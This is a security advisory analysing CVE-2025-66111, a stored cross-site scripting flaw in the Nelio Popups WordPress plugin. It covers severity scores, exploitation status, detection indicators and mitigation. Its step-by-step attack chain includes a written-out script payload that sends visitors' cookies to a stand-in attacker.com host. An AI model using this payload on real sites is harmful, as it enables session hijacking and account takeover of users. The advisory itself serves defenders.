CVE-2025-66111: 
WordPress vulnerability analysis and mitigation

CVE-2025-66111 is a Stored Cross-Site Scripting (XSS) vulnerability in the Nelio Popups WordPress plugin by Nelio Software. It affects all versions of the plugin up to and including 1.3.0. The vulnerability was published on November 21, 2025, and was assigned by Patchstack. It carries a CVSS v3.1 base score of 6.5 (Medium) (Feedly, Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). It is a Stored XSS flaw, meaning malicious scripts are persistently saved to the server and executed in victims' browsers when they view affected content. Exploitation requires low privileges (authenticated attacker) and user interaction (a victim must view the affected page), with the scope changed — indicating impact extends beyond the vulnerable component. No public proof-of-concept code has been identified at this time (Feedly, Patchstack).

Successful exploitation allows an authenticated attacker to inject and persistently store malicious JavaScript within popup content managed by the Nelio Popups plugin. When site visitors or administrators view the affected popups, the injected script executes in their browsers, potentially leading to session hijacking, credential theft, unauthorized actions on behalf of victims, or further compromise of the WordPress site. The CVSS scoring reflects low confidentiality, integrity, and availability impacts with a changed scope, indicating the attack can affect users beyond the attacker's own session (Feedly).

No known active exploitation in the wild has been reported for CVE-2025-66111, and it is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. No exploit kits or threat actor attribution have been identified. The vulnerability was reported through Patchstack's vulnerability disclosure program (Feedly, Patchstack).

1. Reconnaissance: Identify WordPress sites running the Nelio Popups plugin at version 1.3.0 or earlier, using tools like WPScan or by inspecting plugin directories.
2. Authentication: Obtain a low-privileged account on the target WordPress site (e.g., Contributor or Author role) sufficient to create or edit popup content.
3. Inject malicious payload: Navigate to the Nelio Popups management interface and insert a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field within a popup configuration.
4. Trigger execution: Wait for a site visitor or administrator to view a page displaying the malicious popup, causing the injected script to execute in their browser context.
5. Harvest results: Collect stolen session cookies, credentials, or other sensitive data from the attacker-controlled server, potentially enabling account takeover or further site compromise (Feedly).

• Logs: WordPress access logs showing authenticated POST requests to popup creation/editing endpoints with unusual or encoded script content in request bodies.
• File System: Unexpected JavaScript or encoded content stored within popup post metadata in the WordPress database (wp_postmeta or wp_posts tables).
• Network: Outbound browser requests from site visitors to unknown external domains originating from popup-rendered pages; unusual cookie or credential exfiltration traffic.
• Process/Application: JavaScript errors or unexpected redirects reported by site visitors when viewing pages with Nelio Popups content.

WordPress site administrators should update the Nelio Popups plugin to a version beyond 1.3.0 as soon as a patched release is available from Nelio Software. In the interim, consider disabling the plugin if it is not critical to site operations, or restricting access to popup creation/editing functionality to trusted administrator accounts only. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide additional protection while awaiting an official patch (Patchstack).

The vulnerability was included in Wordfence's weekly WordPress vulnerability report for December 8–14, 2025, indicating routine tracking by the WordPress security community (Wordfence). No significant vendor statements, notable researcher commentary, or broader media coverage have been identified beyond standard vulnerability database listings.